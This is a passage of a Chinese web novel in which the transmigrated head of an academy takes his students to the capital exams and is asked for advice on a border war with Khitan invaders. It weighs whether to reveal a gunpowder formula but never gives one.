旁边的侍女忍不住提醒道,“可这冯宴春……说的全是向着我们女子的话啊,难道不好吗?” “你怎知他是真心说这些话,还是为了赢,假模假样,不得不如此说呢?再说了,只要有男子为了女子说话,我们就必须得感激他吗?不要光听,要用眼睛看,说谁都会说,唯有行动是不会骗人的!像王公子,即便辩论赛站的反方,可却从未对女子无情过,温柔体贴、细心有礼,这样的才是真君子好吗?而冯晏春那样只是说了几句话就收获了大片褒奖的,谁知是不是藏奸作恶?” 况且,轻飘飘的话语有何用,即便赢了,又有谁会相信女子真的可以为官呢?父皇那么宠她,在权力面前,不照样提防不已?从未想过瓜分她半分半毫? 连亲儿子都能下得去手的人,更何况是女儿了。 一场辩论赛改变不了什么,只会让更多人对女子加重打压与防备罢了,除非……哪一日真的有一个人真的能攀到那最高处,重整日月,不然的话,一切皆是惘然,徒停留在口齿之间罢了。 在冯宴春与王世昌的辩驳结束后,后续的两场辩论赛也相继被刊登了出来,可议论声皆不及此场声音大,因此反倒无人关注。 就这么顺理成章的沉没了下去。 倒是有不少支持冯晏春的,想要写信安慰一二,可碍于身份,这些女子大多处于绣楼之中,无法离开,更无法与外界通信发声,所以只能看着报纸上一遍遍把冯晏春骂的惨烈,默默流泪。 冯晏春本人倒对此毫无感觉。 骂就骂吧,反正他的目的达到了——成功考入华夏书院。 且因为是特殊招入生,他连学费都不必掏,直接被减免了,算是某种意义上的“奖学金”。 除了他,还有陆无双及其他两个学生也一起被留了下来。 陆无双和那个辩论失败的孩子作为候补生,与学前班的孩子一起读书,而他则和吴琦墨顺利升入了一年级,等待下一次的乡试考试(今年的赶不及了)。 折家的小子同样被留了下来,不过说好的比试,山长却并未亲自参加,而是点了李元昊代替登场。 操场内,相隔数十米的地方摆放着三个靶子。 若能射穿第一靶,便是十分,能透过第二靶,便是二十分,连第三靶也能击穿的话,那便是妥妥的三十分了! 谁的分高,谁便胜利。 这不仅仅考的是力道,更是精准度。 折继世毫无压力,将自己十二力的弓直接拉开,轻松便射穿了第一靶。 李元昊也不甘示弱,废了九牛二虎之力,同样射中圆靶中心。 折继世看了一眼他的高度,有些意外。 拉开第二箭,再次射了出去,果不其然,再次轻松射穿。 李元昊则吭哧吭哧将第一个箭靶搬离,掏出第二支箭对准中心,虽没有射穿,但也直接击中,准确度极高。 如此年纪,便能够达到这样的力道与精确度,假以时日,不见得会比他弱……折继世心里暗暗判断着,掏出弓箭一把射穿了第三个箭靶。 这一次李元昊总算是跟不上了,箭还未到跟前,便轻飘飘的落了下去。 “你别得意,等我多吃点,再养壮一些,肯定会比你的力气还要大的!”李元昊不服气的叫嚣道。 折继世看了看他胳膊的宽度,再看看自己的,一时间不知道到底谁才应该再多吃一些。 总之,折家入学后,李元昊也并未生怨找事,反倒安安静静的,努力消灭着他好不容易赚回来的点菜券,而折老爷子,也没离开,干脆在伊川县置了一块房产,当上了陪读家长。 吴老和刘老两个大儒因着华夏书院丰富的伙食,决定多留几日,顺 便观察一下他们平日里的菜色,可没想到停了数日,却发现食堂里的水准压根没有下降过,依旧是大米馒头,荤素皆有。 甚至怕学生吃腻了,就连菜色每日都是换着花样做的。 极尽奢侈。 两个人心内惊讶,暗暗算着成本的问题,不由问出了那个经典的话来。 “这书院,难不成是倒贴钱开的?不是,他图什么啊?” 就只是为了扬名吗? 两个人不解,两个人继续蹭吃蹭喝。 因为心虚,顺带着还给二年级的学生们纠正了几个注释方面的疑难之处,帮他们解读了几个偏僻的问题。 不得不说,大儒之所以叫做大儒,还是有区别的,他们心中藏书之丰盛,远远不是那种死读书便能够达到的程度,随意一句话,出处、含义、谁做的、背景环境如何……两个人几乎不用翻,便一清二楚,看的童启都为之叹服,忍不住起了将人留下来的心。 “其实吧,我们书院里也有设置客座教授,就是那种不需要时时刻刻都在书院内任职,只需要一个月内讲够四节课即可,若两位前辈感兴趣的话,随时欢迎您来我华夏书院做客,不仅吃住皆包,还有丰盛的束脩,想必一定不会让两位失望的!” 童启殷勤的将山上自制的泡菜装了满满两大罐子,交由两个大儒身边的小厮提着,他们咳嗽一声,均未拒绝。 后期吴韧等人又经常以请教的名义去写信求助,一来二去,他们自己也嫌弃麻烦,索性便干脆跟着也住进了华夏书院里,作为客座教授任职。 忙的时候讲讲课,吃吃食堂,闲的时候钓钓鱼,反倒是精神头比在家时还要更好上了几分。 倒是令两人的儿子儿媳感动不已,颇为支持。 其他人在得知童启将两位大儒说动任教后,不由既敬且畏,什么拼音句读之类的,也无人提及了,而有着两位大儒作为背书,很多故意找茬想要再挑剔些什么的,也不敢轻易下手,唯恐激的童启再举办个什么第二场的辩论赛来,将局面搅得更加混乱。 因此默契的,皆按下此事不表。 反倒是不少书商感觉到了这是一个好契机,寻到了毕昇、流苏等人,想要将拼音和句读的用法给印刷出去,作为小册子卖给蒙童们,因此赚的盆满钵满。 后续别说世家,就连皇室里的一些皇子们都暗地里用这个方法去记字,解读释义,此话不提。 只说辩论赛结束后,华夏书院再次陷入平静之中,而朝廷因为四皇子的事情,正忙碌的无暇分身,也不再关注小小书院的事情了。 二年级的学生们无人打扰,一路过五关斩六将,成功进入了乡试,顺利拿下了前十的好成绩,即将进京赶考。 而一年级的部分学生们也即将开始他们的第一场县试,正式踏入科举的旅途中。 草长莺飞,春风报晓。 时间再度来到了二月。 因着华夏书院今年未再进行招生的原因,伊川县的人流量比以往少了很多。 可其内部,却依旧热热闹闹,欢腾不止。 无数人紧密关注着童启的动向,得知其将书院里一众事务皆交给了柏老去负责,自己则和童继本、温叶辞两人带着二年级所有的学生们,施施然往京城赶去,这才总算是放下了一颗心。 是胜是败,就看今年了。 四大书院的山长们早已经恨得牙痒痒。 他们这些开了近百年的书院,背靠世家,底蕴非比寻常,可饶是如此,却让一个刚开了两三年书院的毛头小子抢去了所有风头!又是踢蹴鞠,又是举办辩论赛的,还未入朝,就掀起了如此大的动静,若其门下学生一举夺魁,那还得了? 岂不是完全没了他们四大书院的位置? 既为强压下童启的风头,又为了声张这两三年来,他们受到各路目光的憋屈,这一次,几大书院的山长们可以说是摩拳擦掌,跃跃欲试,没有一个肯退的。 是骡子是马,拉出来溜溜。 而真正检验一个书院能力最好的方法,那便是科举考场上见真章! 以往乡试、府试、院试……皆囿于州府之内。 这一次,好歹是有了全国性的直面比拼,那么,到底是浪得虚名,利用河南府的学风不胜故意营造出的“人才培养基地”,还是说真有点东西,难以打败呢? 也是时候揭开面纱了。 江南,求真书院内部。 斋长王应昕特意叫来了两个学生,施以厚望道。 “江云希,顾廷安,你们两个,皆是我们书院里成绩最好的学生,从来没有为书院拖过后腿。云希甚至连中四元,只差最后两步,为师也一直以你们为骄傲。但今年,我有个艰巨的任务要分配给你们。” 那两人忙恭身行礼道。 “但凭斋长吩咐。” “还记得去年逃跑的吴琦墨、吴齐豫两兄弟吗?为师收到消息,他们如今已经叛出师门,投到了华夏书院的治下,那童启竟然敢收我们书院的人?简直是没把我们放在眼里。这一次,我要你们去京城,不惜一切代价,阻止华夏书院的人拿下一甲的位置。” 两人顿时一僵,似有些难以置信的抬起了双眸,重复道。 “不惜一切代价?” “没错。” 王应昕手捻着信封里的内容,冰冷的三角眼闪烁着狠厉的光芒。 “我要你们踩着他们的脑袋去登上状元之位,能做到吗?” 两人对视一眼,心下一沉,俯身听令。 “是。斋长。” 第94章 第94章故人相逢 京城外,城门口。 已经升任了军器少监的杨舟万,此刻正昂首等待着自家山长的到来,长久的思念令他看到一辆马车靠近,便忍不住心跳骤然加速起来。 “山长!弟子杨舟万,特意在此恭迎山长来京!” 堂堂六品官竟然如此礼遇,亲自出城迎接。 谁啊?如此大的阵势? 不少围观的百姓们仰头期待着,看着那绣有华夏书院徽章的马车缓缓停靠下来,一脸的好奇。 轿帘慢慢被掀起,一张极其稚嫩俊俏的脸出现在众人视线中,旁边不少妇人忍不住惊呼一声,缓缓红了脸颊。 杨舟万满脸笑容一滞,后退两步。 “怎么是你?山长呢?” 常仕进轻盈的跳下,一把伸出手环住他的肩膀道,“表兄,你这反应也太令人伤心了吧?怎么,你心里难道就只有山长吗,我们就不算人了?好歹也是同窗,我们可是千里跋涉,特意过来投奔你的呀!” 一年不到,青涩的少年瞬间长高不少,可对话起来,却依旧如同在书院里那般亲近。 杨舟万反手将其推开,视线巡视向身后的几辆马车,吴韧、汪启元等故友一一从车上下来,一袭青衫,风度翩翩,引得城门口不少人侧目而视。 一个俊俏的少年尚不算什么,可一车呢? 就十分瞩目了。 围观的不少人已经在心里猜测起这是哪家的士子来,此时入京,定然为了会试。 这说明,这群人起码已经是举人了。 如此年轻的举人? 前途不可限量啊! 刘卜温见到杨舟万往后寻摸的视线,阻拦笑道。 “不必找了,山长不在这里。他提前一步,已经先入了城,说是要去寻访一位故人,让我们先随你安顿下来,到了晚上,再来找你相聚。” 故人? 杨舟万短暂的失落两秒。 这整个京都城内,难不成还有比我更故的人吗? 他有些泄气,可转念一想到这一年以来自己从未与山长停下的书信沟通,又很快扬起了士气。 罢了,也只有外人才会被山长如此注重礼仪吧?真正的自己人是不需要解释的,山长甚至见都没见,便直接将安顿汪启元等人的任务交给了自己,一如在书院时的样子,足见其对自己的信任! 看来,我如今也算是二年级里的红人了,在山长心中的地位,简直远超吴韧嘛! 得意的晃晃脑袋,杨舟万颇有了几分在书院里时的稚气模样,他朗声道,“既如此,那就跟我走吧,你们的地方我早就准备好了。” 也算是他们心大。 三月就要开考了,这都二月底了竟然才到京都,若不是有他在这里接应,如今只怕连住的地方都要没有了。客栈的订单早就从两个月以前就满了额,考场四周的平房更是被租赁一空,也就胜在他岳丈那里还有一套院子是空置的,借了过来,不然的话,真的要全员睡大街。 “等等,你什么时候有的岳丈?” 常仕进后知后觉问道。 杨舟万无语的敲了他脑门一下,“就这,你还敢叫我表兄呢?三个月前我就已经给家里人写了信,之前还特意询问过山长 的意见,说我要迎娶万家的女儿,聘礼都下完了,你给我忘了?” “哦哦哦,就那个皇商万家是吧?和咱们温夫子算是竞争对手的那家?记起来了,这不是时间太远,事情太杂吗?”常仕进一路跟杨舟万抱怨着,“你是不知道,书院里啊,来了个混世魔王,就咱们那关门弟子小师妹,也不知道是山长从哪个山窝窝里捞出来的,简直绝了!才一岁多,就能认人说话,压根离不开山长半步,哪一天没见,便得哭嚎个许久,要不是这次想办法骗她出来买糖,到现在还走不了呢!” “也是山长宠着,非得给她过完生日才肯出发,幸好有你在京都,简直救大命!” 一旁的刘卜温忍不住辩驳道。 “那能怪小师妹吗?明明是你硬要等山长一起出发,说什么也死活不肯上车,不然的话,年前我们肯定就已经动身了。” “喂喂喂,你不会是也被那个混世魔王给洗脑了吧?完蛋了,咱们整个华夏书院都要沦陷在关门小师妹的魔爪下了,难道就我一个人觉得她并非普通人吗?天阙、天阙,一听这名字就知道难缠,哪里有一岁的孩子这么鬼精鬼精的?” 杨舟万听着常仕进喋喋不休的抱怨,沉默不语。 他自然知晓那关门小师妹真实的身份是什么,可他不能讲,见到前方酒楼内正举办着诗会,他不由岔开问题问道。 “对了,你们这一年学问精进的如何?要不要去认识一些人,参加参加文会?听闻这一届有不少厉害的考生,就连胡丞相的儿子也要下场,你们做好准备了吗?” “胡丞相的儿子?” 他不是只有一个女儿吗?哪里来的儿子? “你们没听说?” 见到几个人一脸茫然,杨舟万长叹了口气,认命的给他们解释起胡丞相过继儿子的事情来。 要说这胡丞相,一人之下,万人之上,也算是个响当当的人物了,可唯一遭到弊病的,便是子嗣不丰,生了几个便死了几个,都没立住,好不容易养大了胡薇微,偏偏又是个女孩子,不可能继承他的人脉与地位,因此为了家族传承,他只能想办法从族里过继孩子。 本着广撒网,多捞鱼的想法,胡丞相一口气养了十几个小孩,令他们参加科考,并承诺,谁能先拿到一甲,谁便是未来的胡丞相之子。 这不,今年这位,便是唯一一个入围的“选手”了。 “还有这种方式?”旁边的郭胜开感叹道,“既如此,那还过继什么呀,干脆看谁能考中一甲,然后直接强行令其认祖归宗算了,不是更快一些?” 几个人皆忍不住大笑出声来,被这句“认祖归宗”逗得不清。 “胜开啊胜开,也就你能如此讲了,这便是山长说的嘴毒吧?小心让胡丞相听到了,把你的一甲之名给除了!” 一群人嘻嘻哈哈,一同进入杨舟万新买的宅院中。 不远处,小丫鬟担忧的看着自家小姐落寞伤心的表情,欲言又止。 丞相府。 胡薇微打扮精致,从外走来,胡丞相高坐在堂内,见状,出声呵斥住了她。 “站住,你这又是去了哪里?见到你兄长,为何不打招呼?” 胡薇微一脸心虚,抬眼看了眼站在父亲旁边的人,道,“我只是出去逛一逛。” “哼,华夏书院的郭胜开,是今日入城对吧?我早就说过,他并非良配,不要再在他身上浪费时间了,难不成你想就这样沦为整个京都的笑柄吗?” 胡薇微不服气,“您不试试,怎么知道他不行?郭公子那么有才的一个人……” “可他会入赘咱们胡府吗?”胡丞相反问道,一句话,直接令胡薇微闭上了嘴巴。“我说过了,除了他,谁都可以。郭胜开家境贫寒,又有老母亲作为拖累,这一生最感激的莫过于华夏书院的山长童启,即便咱们后期有扶持,也远远不会如雪中送炭那般珍贵。且他明显以后走的,会是清官的路子,你若想跟着受苦,就尽管去。” “您怎知我不愿意?再怎么样,扶持他,也总比扶持一个外人好吧?难道女婿还不比继子强吗?” 胡薇微委屈的喊道,转身离开。 旁边的胡宣一脸尴尬,宽慰出声,道,“父亲莫急,妹妹她也是一时思想转不过弯儿来,等过些日子,她定然能够想通的。” “只怕等她想通的时候,已经晚了。”胡丞相看着自己女儿倔强的背影,长叹一口气,心里也越发焦急起来。 前段时间,宫里的大太监给他递信,说是六皇子去年被耽搁的亲事,又被重新提起来了。不同于贵妃一眼看中了柏大将军的侄女岳灼华,皇帝陛下倒是对自家女儿胡薇微十分的好奇,听大监说,已经连问了几次嫁人与否、生辰八字之类的了,这令他内心感到极为的不安。 皇宫是个吃人地。 从四皇子妃自焚于宫内,四皇子被逼叛逃出京,便能够知晓今上是个薄情的人。 对一向看重的四皇子都能如此,倘若哪天六皇子犯错,那哪里还有六皇子妃的立足之地呢? 他不需要裙带关系为自己加持势力,更不愿牺牲自己的女儿在那样的草包身上,因此只能尽快给薇微定下个婚事,哪怕后期再和离呢,也行,关键是要逃脱如今圣上的惦记。 “去,跟你的母亲说一声,让她在京城里再寻一批合适成亲的儿郎来,要求品貌端庄的,先送到薇微那里,让她挑选一遍,合适的再跟我说,安排人提亲。” “是。” 胡宣恭敬答道,低垂着的双眼中却忍不住闪过一丝不屑与算计来- 柏大将军府的门口,一辆马车低调的停在那里。 门房急匆匆的跑出来,低声禀告道。 “抱歉,我们将军出门远行,还未归来,您若是找他,可以先留下一封信件,我自会想办法帮您转交……” 童启坐在车内,疑惑不已。 又是这套说辞。 这一年来,他给柏大将军写了不少封信,可基本上每一封回复的内容都是如此。 他只是让徒弟帮忙送个西夏护防图而已,这怎么就一去不复返了呢? 他徒弟呢? 他刚收的那么大一个神偷徒弟呢?就这么直接丢了? 说了一年出去游行了,这到底是去哪儿了啊,竟然能去这么久? 但愿别出什么事才好啊…… 他心里忐忑不安,实在是放心不下,因此一入京便先来找人了,可没想到到了实地,却还是没有见到人。 童启眉头紧皱,沉思不已。 更令他感到不妙的是,前段时间内系统刚刚爆出的任务中,除了二年级的进士考试以外,竟莫名其妙多了一个【帮助大奉朝赶走契丹入侵】的随机任务来。 奖励十分丰厚。 可到底哪里来的契丹人? 契丹入侵?他更是闻所未闻。 生怕是又像西夏那样,突然遇袭,童启思忖着先提醒柏大将军一声,让其防备起来。 可没想到,竟不在? 童启望着那厚重的【柏大将军府】的牌匾,长叹了口气,只得令马夫驾车往回走。 谁料刚过拐角,一家店铺正值开业, 叫来了不少的舞狮、锣鼓队庆祝,人流密集,占满了整条街,巨大的锣鼓声几乎是瞬间惊到了马匹,令其一个前翻,竟带着整个车厢飞速的向外奔去。 车夫一个没留神,便被狠狠的甩下了车来,脑袋上碰出了血,慌不择已大喊道。 “山长!山长!快让开,我们山长的马惊了!” 巨大的嘶鸣声与混乱的人群嘈杂音,令童启无比茫然,他趴在车内,感受着外面不正常的颤动,刚想爬出车厢,便听到一阵女子的低呵声,“危险,别出来!吁!” 整个车厢瞬间一甩,几乎九十度掉头,然后才被人稳了下来。 童启小心翼翼冒出半个脑袋,只见到一个女孩子头戴纱帽,仰身坐在马车前方,死死的拉紧了缰绳。 “多谢姑娘,多谢姑娘!山长,您快下来吧!” 车夫忙不迭从身后赶来,长松一口气,道谢道,忙上前将童启搀扶了下来。 他脑袋晕晕的踏在地面上,这才感受到了方才的惊心动魄。 “在下沧澜山童启,多谢姑娘方才的出手相助。” 他感恩的行礼道。 能一个人直接拉住一匹受惊的马,这力道,这机警,着实厉害。 他心中感叹着,不由觉得面前的身影有几分眼熟,可到底是谁,却一时想不起来了。 对面的人像是有点愣住了,半晌,才勉强回了句,“不必客气。” 声音清丽而直爽。 岳灼华透过纱帽的缝隙,悄然打量着那个熟悉的人。 分明正是意气风发的年纪,身量如竹,双瞳狡黠,可周身萦绕着一股如玉一般的温润气息,令人不自觉就安静了下来。眉目如画,唇如朱砂,俊雅精致,一见难忘。 等等,这是童启? 这是那个沧澜山童启? 她明明前年初在环县的时候,还看着对方是个小萝卜头的呀,这怎么才一年多的时间,直接就长这么大了? 注意到对方复杂的打量目光,童启茫然而友好的笑了笑。 扬起的眉眼弯弯,双目如星一般,简直比樊楼里最漂亮的小倌还要漂亮! 不,拿小倌比喻实在是太侮辱了童山长,总之,总之就是极美,是那种介于少年青涩与成熟之间难以形容的感觉,令周遭不少女子皆红了脸,不敢再看。 岳灼华原本还想要询问一下四皇子妃女儿的事情来着,可因着这一冲击,也瞬间憋回了肚子里。 罢了,回头再说吧。 第95章 第95章俯身问策 十四岁了,摆脱了原本稚嫩的外表后,童启身上始终模糊的攻击力终于彻底显现,个子也如同坐上了火箭一般猛地往上窜了许多。 即便是与故人相遇,面对面,只怕对方也未必能够认得出来。 不枉费他夜夜抽痛的腿,一个劲儿的狂补营养,总算从矮人一头,变成了与对方视线平齐的一米七“大高个”。 不用再仰视别人了。 可是,身高差的瞬间拉近,也让两个看起来没什么问题的男女接触,一下子也变得奇怪了起来。 众目睽睽之下,岳灼华也不好再说什么,只点了点头,便沉默的混入了人群中。 转身没了身影。 “诶,等一下!” 童启问候完旁边的车夫,还想再说些什么,人已经不见了。 “童山长?” 远处缓缓靠近一辆马车,齐承胤一身官服,似是刚刚下朝,他疑惑的掀起帘子望了一眼童启视线的方向,不明所以。 “罢了,还以为是个故人。” 童启回道。 他看身影本以为是岳家那小姑娘,还想顺带着问问她舅舅的事情呢,可谁料竟走的这般快,想来,应是认错人了吧? 童启摸了摸后脑勺,没放在心里,干脆弃了车,让车夫先去医馆看伤,自己则蹭着齐大人的马车,随他一起往樊楼而去。 今日约的两位故人里,除了柏大将军,便是齐承胤齐大人。 自上次西夏一别之后,他与齐大人偶尔通信,说一些科考上的事情,双方保持着高度默契,几乎不在信件里提及四殿下女儿的事,仿佛那千里托孤,只是一场虚影一般,于是关系就这么渐渐被保持了下来。 一年没见,齐大人苍老许多。 五官却仍旧是那个猥琐的样子,看起来不像是什么好人。 对方见到童启的身高,先是愣了愣,半晌,才反应过来童启仍在生长期中。 于是憋出了句,“少年意气,不错。” 然后,两人便齐齐沉默了下来。 任谁在朝堂里整日厮杀,勾心斗角,感觉自己大半辈子都快要踏进坟墓里了,全身蔓延着一股浓浓的班味儿,好不容易出来接个“故人”,却发现“故人”尚在长个子的时期,只怕都要如齐大人这般无语吧? 看到童山长,他这才是真真切切感觉到自己老了。 也不知道大半辈子到底在斗个什么劲儿。 以往在书信中商讨事宜,因着童启远超同龄人的成熟以及智慧,他总是会询问一些朝政上的事情,寻找一些另类的破局方式,因此几乎把人当成朋友去相处。 可如今肩并肩坐在一起,这种老和少的违和感,简直难以遮掩。 一个方才十四,正值青春,一个却已经一眼望到了尽头。 朋友?搞笑呢? 齐承胤努力调整着自己快要破防的心态,良久,才想起自己来的目的,凝重的开口道。 “童山长,我有一件事不得不告诉你。” 其实,他原本是打算向童启问策的。 因为黄龙府焦灼的战况,内阁如今每天都在争吵,彼此难以说服,皇帝陛下依旧想要隐瞒这场战事,可实际上,已经不太可能了。不少女真、西夏的人听到了风声,跃跃欲试,而边疆几个城池也已经受到了波及,这就像是厨房里烂掉的一块肉,即便再用东西捂着,也迟早会源源不断的发出臭味。 如今只看这事什么时候会被爆出来,如何爆出来罢了。而在爆出来后将会引起多大的波动,时局又会经历怎样的动荡,那便是他们这些当臣子需要考虑的事情了。 在外人看来,大奉朝依旧繁盛熙和。 可只有身处朝堂的人,才知道有多艰难。 临近开春,南方便又闹了起来,匪患增多,颜大将军被派往镇压,一路花销不菲。柏大将军守在黄龙府,日夜叫阵,同样也需要时刻补给着钱粮,西夏那边如今还算安静,可女真好几次冒头,大有越过边境和契丹联合之意,再加上皇室内部人员大婚、修建王府…… 说实话,也就他不是户部尚书,不然只怕天天都得吊死在这金銮殿上。 童启这一次进京,不知有多少人暗地里期待不已。 一方面是对于其书院内的学生们进士考试的成绩感到好奇,另一方面,便是听闻童山长十分擅长赚钱,想要从他这里图谋一些快速赚钱的法子了。 可齐大人却不打算问财,他真正在意的,还是契丹。 “你知道,黄龙府已经丢了吗?” 童启一愣,立马反应过来。 “是契丹人?可黄龙府原本的守卫呢?那里易守难攻 ,按理说不容易沦陷啊……除非……” 有内奸。 想起叛逃的四皇子,童启无力的扶了扶额。 怪不得柏大将军这么久音信全无,原来是上战场了啊? 一切的信息像是点瞬间连成了线,想通以后,童启一脸严肃,追问道,“所以皇帝陛下那里怎么说?事情发生多久了,为什么我们河南府竟全然没有听到半点风声?” 别说河南府了,要不是他有系统提示,恐怕至今还以为大奉朝是完整一块呢! 见童启只是惊讶,却半点没有惶恐的模样,齐承胤心里稍安。 他顿了顿,说道。 “陛下严令上下不准泄密,认为这一切乃是家事。去年四月份,农安县便已经被攻破,柏大将军被派了过去,可谁知四皇子已经带着契丹人屠了城,占据了城池,不论怎么叫门,都无人回应。战事一直被拖到现在,那群贼子已彻底在黄龙府落了脚,去年收成一出,吃喝不愁,要不是眼看着隔壁的泰州也被盯上,时时遭遇抢掠,只怕到现在,内阁的大人们还要依旧噤声,不让讨论半分……” 齐大人忧心忡忡的讲述着,而童启却被那看似轻飘飘的两个字所吸引过去,陡然一滞。 “屠城”…… 谁也没想过曾经的皇子竟然会带着敌人,将刀剑对准自己的百姓。 即便对方与皇帝本人有着深仇大恨,可那恨意也不是百姓造成的,凭什么却要让无辜的人去偿还这个代价呢? 伊川县人口大约有七十多万人,而农安县身处边疆,即便折上三分之一,那也有近二十多万的人口啊! 就这么……全没了? 这背后所呈现的尸山血海,简直令童启想一想都感觉到不适,大脑阵阵发晕,积压的怒火让他不自觉握紧了拳头。 “所以呢?现在黄龙府是个什么状况?柏将军没有动作吗?” 齐大人无奈的叹了口气,“柏将军去年年底就被换下来了,圣上派了王常侍去督军,对方说柏弓良延误战机,不愿出军,所以如今的战场,已经换了徐将军在指挥……” 徐将军? 那不是外戚吗?如今贵妃娘娘的弟弟,六皇子的亲舅舅?他能比柏弓良厉害? 童启无语的深呼吸一口气,深刻感受着猪队友的可怕,如此大事,竟然如同儿戏一般,就这么被归类为了家事?简直可笑。 “契丹人必须驱逐出去,黄龙府不能丢。那地方位于南北交通枢纽,若有一日,契丹完全可以顺着官道攻入皇城!到时候中原一马平川,连个防护都没有,完全就是被放在砧板上的肉,任人宰割!” 他竭力思考着,试探问道。 “要不,我们把小公主还给四殿下?拖一拖时间?” “还?怎么还?”齐大人反问道,“别说四殿下在不在乎这个孩子,即便在乎,若陛下知道的话,只怕也不可能留下她,头一个,便是杀她祭旗!届时我等参与保护小公主的所有人,有一个算一个,只怕都得死!” 那要怎么办? 这一刻,童启只恨自己没有把武力值点满,自己亲自上场去打,他头疼的摊在马车上,思考着解决的方法,突然,他想起去年辩论赛结束后,系统奖励的那个火药方子还没用,犹豫了一下,可终究还是什么都没有说。 两个人的马车晃晃悠悠,进入樊楼外。 就像是方才所谈论的危机都是一场幻梦一般,实际上的京都如今歌舞升平,一副绮丽之景。 作为整个王城内最高的酒楼,樊楼名气之盛,就如同河南府的白鹤楼般,乃是所有文人骚客、官员雅士们最喜欢聚会的场所。都说来京都不来樊楼,那算是白来一趟,因此齐大人将此地作为童启接风洗尘之所,也足见他对其的重视程度之巨。 童启茫茫然跟着走下马车,站在楼外仰头注视着。 这楼共五层高,几乎通体皆是用榫卯结构著成的,奢华靡丽,雕刻着各种样式的纹路,没有任何一根凸出来的柱子,平整的不像话!从外往内看,阁楼上灯火通明,人流穿梭,侍女裙衫轻摆,如同舞动的萤火虫一般,分外壮观! 怪不得几位大儒对他那书院古色古香的建筑都没有半点感兴趣,反而现代化的还稍稍感到新奇一些,原来竟是见过比那更好更奢靡的了,难怪瞧不上! 一路被带领着进入楼内,干净齐整的小厮、侍女忙将人迎了上去。 一楼大厅内,皆是歌舞齐鸣,斗酒赋诗的文人,其间,还夹杂着几名歌女轻声唱和着,眉眼妩媚;二楼则是各色美食,天南地北的菜式被装呈上来,摆成普通人压根消费不起的价格,光是一晚上,便能花销出大几十两的白银出去。三楼、四楼皆是包厢,风景极好,推开窗便是外面波涛荡漾的护城河,远处则是皇城内走动的人群;五楼,算是VVIP,通常只提供给有身份的大人物用作谈话休息,一般不为外人所开启。 而齐大人带他去的,正是五楼。 童启只感觉一路上眼花缭乱,看都快看不过来了。 被领着到了楼顶,门外,樊楼掌柜早已经亲至,殷勤的等候着,见到他,眼睛微亮。 “早就听闻华夏书院山长童启,少年英才,今日一见,果然不同凡响。在下柳姑,是这樊楼的掌柜,二位若是有什么需要的,只管吩咐即可。” 她上前行礼道,身姿妩媚动人。 齐大人随意的挥挥手,令她退下,倒是童启友好的冲其笑了笑,回了句,“辛苦”,令对方整个一愣。 包厢内,一切东西应有具有,准备的十分齐全,各类珍馐摆放在桌面上,两个人坐下,边吃边继续聊方才马车上提到的事情。 “我也知晓向童山长问策,并非什么聪明的做法,但如今死马当做活马医,内阁里大人们早已经没了神智,只顾着各自的利益,若不是实在走投无路,我也不至于求到您这里。现如今,京都已经不安全了,陛下和一部分大人们的意思是,不如干脆南迁,把都城迁到开封去……” “不可!” 还不等齐承胤话音落下,童启便立马打断道。 谁懂啊?这历史兜兜转转,本以为是往好的方向走了,可谁知拐了个弯儿竟又重新回到了原本的轨道上去? 这个时候,若真的迁都,那岂不是直接把幽云十六州拱手让出去吗?那北方的百姓们怎么办? 多少人付出了鲜血好不容易抢回来的土地,这还没开始打呢,就直接怂了? 凭什么啊? 齐承胤也没有想到童启竟然会对迁都有这么大的情绪变动,他惊讶道,“童山长也觉得迁都实在是过于草率,乃抛弃祖宗规矩的行为吗?” 那倒不是。 什么狗屁祖宗规矩,他向来不守的。 只是想起原本历史上的遭遇,代入感太强罢了。 毕竟只要你迁了一次,就有借口迁第二次,跑习惯后,没准什么时候就得跑到海上去,然后被敌人逮住,坐等下一代皇帝无缝衔接上任…… 他心里吐槽着,摇摇头,道,“关键不是迁不迁都,而是皇帝陛下的态度。他若想要战,那自然有竭力一战的方法,若不想要战,那即便躲到开封,也未必就算是彻底安全了。” 听到有战的方法,齐承胤瞬间眼睛一亮。 “还请童山长细讲一下,如何竭力一战?” 童启一顿,缓缓放下手中的茶水。 见他面色犹豫,齐承胤当场站起身,向童启弯腰鞠了一躬,道。 “还请童山长不遗余力,救救我大奉朝吧!” 一位一品官员,就这么俯身问策,即便童启,也有些微微动容,他沉默良久,方开口道。 “我有一物,或许可以帮助军队提高战斗力,突破契丹与四皇子的防御,但……这东西杀伤力极高,我并不确定,如果将其拿出来的话,是一件好事,还是坏事。” 这就像是亲手打开一个潘多拉的魔盒,能够让大奉朝转败为胜,但也会将整个战争模式,从冷兵器时代,直接拉入热武器的时期。 死伤的人将会更多,造成的损害也将会更大。 他不想看到这个结果是从自己手中出去的。 然而齐承胤却反问道。 “可您不拿出来,这事情,便不会再恶化下去了吗?如今大奉朝千疮百孔,已经如悬崖边摇摇欲坠的草屋,只需要一根稻草,不,或许只需要清风一吹,便会瞬间葬入崖底,若国之不国,那百姓,还有什么意义呢?” 第96章 第96章会试考试 不得不说,这话精准要挟住了童启。 论大奉朝,他本身是没什么归属感的,论这皇帝,他也没有多少非其不可的尊重,但唯一所在乎的,便是这块土地上所生存的百姓们。 他不想看到战争,不想看到流血,可当真正不可避免一战时,那还是别国的人死比自己国的人 死,更好一些吧? 他正思索着,意识海中的系统却突然上了线,开口道。 “你确定要把火药方子拿给他们?宿主,我不建议这么做。” 童启一愣。 其实,自系统从主系统空间那边回来后,便已经很少再对他的决定发表看法了,就连造反言论,也少了许多。偶尔冒泡,基本上都是在看热闹,这还是头一回,如此鲜明的表示出自己的站位。 “为什么?难道会因此而改变历史的后续吗?” 童启疑惑问道。 “不确定。”系统回答。“但,万事万物都是有其双面性的,你和齐大人虽然不希望战争再持续下去,可并不代表所有人都和你们想的一样。” 有不想打仗的,可也有借机发战争财的。 哪个时代都一样。 更何况齐大人虽官居一品,却并不是真正能决定这场战争走向的人。他的上面还有丞相,还有皇帝,还有将军……就冲着如今这皇帝的“贤明程度”,即便童启真的将火药方子奉了上去,可到底能不能到达前线,也是一个未知数。 童启静静的听着,旁边的齐承胤还想再说些什么,可正在这时,门外却突然吵嚷了起来。 有人大步走上楼梯的声音,也有那店掌柜为难的挡在门前,低声劝阻的声音。 “这位大人,实在抱歉,顶楼已经提前有人在了,您看要不要给您准备一下其他的房间……我们四楼天字号房也很……” “滚滚滚!老子就要这顶层,你知道今天晚上来的是谁吗?也敢让他往四楼去?徐家清不清楚?贵妃娘娘知不知道?说出来都怕吓死你!还不赶紧把房间给我腾出来,晚一会儿,小心我……哎呦,爷诶,您怎么亲自上来了……” “我倒要看看是谁,竟然比舅舅家的名气还要大……” 